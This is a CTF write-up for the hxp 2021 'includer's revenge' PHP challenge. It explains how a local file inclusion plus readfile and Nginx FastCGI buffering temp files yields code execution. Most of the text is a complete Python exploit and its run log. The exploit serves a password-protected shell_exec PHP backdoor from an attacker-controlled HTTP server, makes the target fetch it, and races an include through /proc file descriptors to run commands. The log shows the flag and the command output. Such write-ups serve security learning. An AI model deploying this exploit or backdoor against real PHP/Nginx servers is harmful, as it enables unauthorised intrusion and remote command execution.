hxp CTF 2021: includer's revenge writeup

As promised here is a writeup of the includer’s revenge challenge exploiting the additional fastcgi_buffering / readfile local file inclusion vulnerability.

We are presented with a minimal PHP (🤎) challenge with the goal of getting code execution:

<?php ($_GET['action'] ?? 'read' ) === 'read' ? readfile($_GET['file'] ?? 'index.php') : include_once($_GET['file'] ?? 'index.php');

It’s clear that we again have a (hard?) LFI PHP task via include_once($_GET['file'] ?? 'index.php'). Additionally, the challenge seems to contain a suspicious readfile branch in the otherwise aesthetically pleasing minimal appearance. Let’s use this feature to write a file with attacker-chosen content in order to get code execution.

Note: this challenge can also be solved without the readfile feature, as demonstrated here.

readfile is a neat PHP function that: “Reads a file and writes it to the output buffer.” Contrary to include, it also supports reading URL streams like http:// resources and directly writes them to the output buffer.

Attack plan:

  • Use readfile to read a big and slow HTTP resource (and keep the connection open)
  • Use Nginx’s fastcgi_buffering to create a tempfile
  • Include the freshly created tempfile
  • Usual racing and stuff
  • Profit

Annoyances:

readfile and fastcgi_buffering seems to only create a file when the client is connected via HTTP/1.0 (see curl part in exploit). Otherwise, chunked transfer can be used.

Nginx instantly unlinks the newly created file.

Including the new file via our friend procfs (🤎) e.g /proc/$NGINX_WORKER_PID/fd/$FD only works within a very small time window and requires a lot of luck (or a lot of violent force). If we’re too slow, PHP’s include resolves this path to strings like /var/lib/nginx/fastcgi/4/01/0000000014 (deleted), which doesn’t exist in the filesystem. Luckily the logic in include can be confused via /proc/self/fd/$NGINX_WORKER_PID/../../../$NGINX_WORKER_PID/fd/$FD (thanks @hlt for this trick!), which will make it always interpret the content of the original file. This trick greatly reduces the amount of luck/force needed to make this exploit work reliably and quickly.

Note: This race can also be won without confusing include, see pasten’s includer’s revenge + counter writeup.

Full exploit:

#!/usr/bin/env python3
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
import threading, secrets, time, requests, sys, os, hashlib, signal

password = secrets.token_urlsafe(16)
backdoor_name = secrets.token_urlsafe(8)
backdoor_password = secrets.token_urlsafe(16)
backdoor_password_hash = hashlib.md5(backdoor_password.encode()).hexdigest()

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'
MY_IP = sys.argv[3]
MY_PORT = int(sys.argv[4])

payload = f'''<?php if(md5($_GET["s"])==="{backdoor_password_hash}")echo shell_exec($_GET["c"]); echo 'DONE-'.'{backdoor_name}';__halt_compiler();'''.encode()

bruter_runnig = False
found = False

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        global bruter_runnig

        self.send_response(200)
        self.end_headers()
        print(f'[*] request: {self.path}', file=sys.stderr)
        if password not in self.path:
            return

        for i in range(15):
            if found:
                exit()

            if i == 0:
                self.wfile.write(payload*(13*1024*1024//len(payload)))

                if not bruter_runnig:
                    bruter_runnig = True
                    for pid in nginx_workers:
                        a = threading.Thread(target=attacker, args = (pid, ), daemon=True)
                        a.start()

            else:
                self.wfile.write(payload)

            time.sleep(1)

class ThreadingSimpleServer(ThreadingMixIn, HTTPServer):
    pass

def server():
    print('[+] http server started', file=sys.stderr)
    server = ThreadingSimpleServer(('0.0.0.0', MY_PORT), Handler)
    server.serve_forever()

s = threading.Thread(target=server, daemon=True)
s.start()

nginx_workers = []
sess = requests.Session()

r  = sess.get(URL, params={
    'file': f'/proc/cpuinfo'
})

processors = r.text.count('processor')
print(f'[*] processors: {processors}', file=sys.stderr)

for pid in range(250):
    r  = sess.get(URL, params={
        'file': f'/proc/{pid}/cmdline'
    })

    if b'nginx: worker process' in r.content:
        print(f'[*] nginx found: {pid}')

        nginx_workers.append(pid)
        if len(nginx_workers) >= processors:
            break

    time.sleep(0.1)
else:
    print('[+] not all nginx workers found :(, try to increase pid max?', file=sys.stderr)
    exit(1)


def attacker(pid):
    global found
    time.sleep(2)

    while True:

        print(f'[+] starting brute: {pid}', file=sys.stderr)
        for fd in range(4, 64):
            if found:
                exit()

            r  = requests.get(URL, params={
                'file': f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}',
                'action': 'include',
                's': backdoor_password,
                'c': 'echo "\n"; /readflag; id; ls -l /proc/*/fd/; echo "\n"'
            })
            if r.status_code == 200 and 'DONE-' + backdoor_name in r.text:
                print(f'[*] FOUND {pid} {fd} {r.text}', file=sys.stderr)

                found = True
                exit()


for i in range(15):
    print(f'[+] starting download {i}', file=sys.stderr)
    os.system(f'timeout 15 curl -s -0 --limit-rate 1k "{URL}/?action=read&file=http://{MY_IP}:{MY_PORT}/?{password}" > /dev/null &')

    for _ in range(int(15/0.5)):
        if found:
            exit()
        time.sleep(0.5)

Output:

$ time ./pwn.py 127.0.0.1 8088 172.19.124.139 31337
[+] http server started
[*] processors: 2
[*] nginx found: 33
[*] nginx found: 34
[+] starting download 0
172.19.112.1 - - [27/Dec/2021 19:38:41] "GET /?SbPQvlu1kQtM66MESjp68A HTTP/1.0" 200 -
[*] request: /?SbPQvlu1kQtM66MESjp68A
[+] starting brute: 33
[+] starting brute: 34
[*] FOUND 33 16 T["s"])==="435d80d9c289c156c58731cee9c3406d")echo shell_exec($_GET["c"]); echo 'DONE-'.'s333Xtk3nK4';__halt_compiler();

hxp{lol, I still code php for a 'living' :( :( :(}
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/proc/33/fd/:
total 0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:33 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 11 -> socket:[3559299]
lrwx------ 1 www-data www-data 64 Dec 27 18:37 12 -> socket:[3560586]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 13 -> socket:[3559417]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 15 -> socket:[3559418]
lrwx------ 1 www-data www-data 64 Dec 27 18:36 16 -> /var/lib/nginx/fastcgi/4/01/0000000014 (deleted)
l-wx------ 1 www-data www-data 64 Dec 27 18:35 2 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 3 -> socket:[3492454]
l-wx------ 1 www-data www-data 64 Dec 27 18:33 4 -> /dev/pts/0
l-wx------ 1 www-data www-data 64 Dec 27 18:33 5 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:33 6 -> socket:[3492450]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 7 -> socket:[3492451]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 8 -> socket:[3492453]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 9 -> anon_inode:[eventpoll]

/proc/34/fd/:
total 0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:33 10 -> socket:[3492455]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 11 -> anon_inode:[eventpoll]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 12 -> anon_inode:[eventfd]
l-wx------ 1 www-data www-data 64 Dec 27 18:35 2 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:35 3 -> socket:[3492452]
l-wx------ 1 www-data www-data 64 Dec 27 18:33 4 -> /dev/pts/0
l-wx------ 1 www-data www-data 64 Dec 27 18:33 5 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 27 18:33 6 -> socket:[3492450]
lrwx------ 1 www-data www-data 64 Dec 27 18:33 7 -> socket:[3492451]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 8 -> socket:[3561511]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 9 -> socket:[3560575]

/proc/87/fd/:
total 0
lrwx------ 1 www-data www-data 64 Dec 27 18:38 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Dec 27 18:38 1 -> pipe:[3561512]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 2 -> /dev/null
lrwx------ 1 www-data www-data 64 Dec 27 18:38 4 -> socket:[3560443]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 6 -> socket:[3492437]

/proc/self/fd/:
total 0
lrwx------ 1 www-data www-data 64 Dec 27 18:38 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Dec 27 18:38 1 -> pipe:[3561512]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 2 -> /dev/null
lr-x------ 1 www-data www-data 64 Dec 27 18:38 3 -> /proc/90/fd
lrwx------ 1 www-data www-data 64 Dec 27 18:38 4 -> socket:[3560443]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 6 -> socket:[3492437]

/proc/thread-self/fd/:
total 0
lrwx------ 1 www-data www-data 64 Dec 27 18:38 0 -> /dev/null
l-wx------ 1 www-data www-data 64 Dec 27 18:38 1 -> pipe:[3561512]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 2 -> /dev/null
lr-x------ 1 www-data www-data 64 Dec 27 18:38 3 -> /proc/90/task/90/fd
lrwx------ 1 www-data www-data 64 Dec 27 18:38 4 -> socket:[3560443]
lrwx------ 1 www-data www-data 64 Dec 27 18:38 6 -> socket:[3492437]


DONE-s333Xtk3nK4

real    0m7.293s
user    0m0.460s
sys     0m0.057s